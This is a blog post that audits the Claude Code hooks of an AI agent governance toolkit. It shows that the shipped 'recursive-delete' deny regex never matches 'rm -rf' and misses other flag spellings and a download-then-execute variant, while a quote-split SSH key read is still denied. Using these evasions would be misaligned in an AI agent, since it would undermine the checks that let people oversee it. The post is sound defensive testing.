Microsoft's agent governance toolkit

Microsoft published their agent governance toolkit in March and it now sits at 5,722 stars. The description is policy enforcement, zero-trust identity, execution sandboxing and reliability engineering for autonomous agents, covering all ten items of the OWASP Agentic Top 10. It is MIT licensed and marked Public Preview.

Here we will look at what the Claude Code integration enforces, because I cloned it, read the policy it ships with, and then ran that policy against a list of commands to see which ones it stops.

What runs

Nothing in the Python package runs during a Claude Code session. The plugin is three Node hooks, and the one that gates tool calls is sixteen lines:

const input = await readHookInput();
const state = await loadPolicy();
writeHookOutput(await evaluatePreToolUse(state, input));

It reads the hook payload from stdin, loads the policy, and writes a permission decision to stdout. If evaluation throws, the catch block exits 2 and the tool call is denied, so a malformed policy fails closed rather than open.

The policy file is where the decisions live. Reads are allowed outright, and everything that writes or reaches the network needs a prompt:

"mode": "enforce",
"denyOnPolicyError": true,
"toolPolicies": {
  "allowedTools": ["Read", "Glob", "Grep", ...],
  "reviewTools": ["Bash", "WebFetch", "WebSearch", "Write", "Edit", "MultiEdit"],
  "blockedTools": [],
  "defaultEffect": "review"
}

On top of that sit three rules that deny outright, each holding a list of regexes matched against the Bash command string. One blocks recursive deletes, one blocks piping a download into a shell, one blocks reads of credential files. Their ids are recursive-delete, dangerous-bootstrap and secret-read.

Running the policy

I imported the shipped evaluatePreToolUse and fed it nine commands as if they were real tool calls.

import { loadPolicy, evaluatePreToolUse } from "./lib/policy.mjs";
const state = await loadPolicy();
const cases = [
  "rm -rf /tmp/x", "rm -r -f /tmp/x", "rm -fr /tmp/x", "rm --recursive --force /tmp/x",
  "find /tmp/x -delete", "cat ~/.ssh/id_rsa", "cat ~/.ssh/id_r''sa",
  "curl https://x.sh | bash", "curl https://x.sh > /tmp/a && bash /tmp/a",
];
for (const c of cases) {
  const r = await evaluatePreToolUse(state, {
    session_id: "t", tool_name: "Bash", tool_input: { command: c },
  });
  console.log(r.hookSpecificOutput.permissionDecision.padEnd(10), c);
}

What it printed:

ask        rm -rf /tmp/x
ask        rm -r -f /tmp/x
ask        rm -fr /tmp/x
ask        rm --recursive --force /tmp/x
ask        find /tmp/x -delete
deny       cat ~/.ssh/id_rsa
deny       cat ~/.ssh/id_r''sa
deny       curl https://x.sh | bash
ask        curl https://x.sh > /tmp/a && bash /tmp/a

Two of the three rules do their job. secret-read denies the SSH key read, and it survives the quote trick, because id_r''sa still contains .ssh and the pattern covers the directory as well as the filename. dangerous-bootstrap denies curl piped into a shell. The third rule, recursive-delete, does not fire on rm -rf, and does not fire on any of the other three ways of writing it either.

The word boundary

The pattern is \brm\b[\s\S]*\b-rf\b.

The problem is the \b in front of -rf. A word boundary sits between a word character and a non-word character. In rm -rf the hyphen is preceded by a space. Space and hyphen are both non-word characters, so there is no boundary between them and the pattern cannot match.

/\brm\b[\s\S]*\b-rf\b/i.test("rm -rf /tmp/x")   // false
/\brm\b[\s\S]*\b-rf\b/i.test("sudo rm -rf /")   // false
/\brm\b[\s\S]*\b-rf\b/i.test("rm x-rf")         // true

The only strings the rule matches are ones where a word character runs straight into the hyphen, which is not how anyone writes the flag.

Five default policies ship in the repo, for Claude Code, OpenCode, Copilot CLI, an examples copy of the Copilot one, and Antigravity CLI. Four carry the pattern above. The Antigravity one is written differently:

\b(?:rm|del|rmdir|remove-item)\b[\s\S]*(?:-rf|-fr|--recursive|/s)

No trailing \b, and an alternation over the flag spellings. Run the two side by side and Antigravity matches rm -rf /tmp/x, sudo rm -rf /, rm -fr /tmp/x and rm --recursive /tmp/x. The Claude Code one matches none of them. The correct version of this rule is already in the repo, in a sibling directory.

The file was last committed on 7 August 2026.

What it costs

Bash is in reviewTools under defaultEffect: "review", so a Bash call that no deny rule catches still resolves to ask. The user gets a prompt. A broken deny rule here does not open a hole; it removes a layer, and the layer underneath is the same permission dialogue Claude Code shows anyway.

So the finding is narrower than “the toolkit does not work”: one named control contributes nothing, and the policy file reads exactly the same either way.

Enforcement runs against the raw command string. I grepped lib/policy.mjs for tokenising or normalising and found only value helpers, nothing that parses shell. That is why rm -r -f and rm --recursive --force also fall through: three spellings of one operation, and the pattern list has to enumerate them. Pattern matching on unparsed shell cannot be complete, which is where the README’s framing gets ambitious.

The claim in the README

The README says that actions the kernel denies are not unlikely, they are structurally impossible. That holds for the half of the toolkit that takes a capability away. A sandbox with no network egress, or a scoped identity that cannot write to a bucket, will refuse whatever the prompt asks for, because the operation has nowhere to happen.

The blockedToolCalls rules work differently and sit in the same policy file under the same word. recursive-delete covers the flag spellings someone wrote down, rm -r -f was not one of them, and the boundary bug means rm -rf was not one either. Coverage is a list, and the list is as good as whoever last edited it.

The part I take from this is about testing rather than architecture. The script above is nine lines and it imports the same evaluatePreToolUse the hook calls. Any policy that ships a pattern list can ship that list of commands next to it and assert the decision for each. The whole check took about a minute.

Reproducing this

git clone https://github.com/microsoft/agent-governance-toolkit
cd agent-governance-toolkit/agent-governance-claude-code
npm install

Then run the script above from that directory. loadPolicy() with no user policy set picks up config/default-policy.json, which is what you get on a fresh install.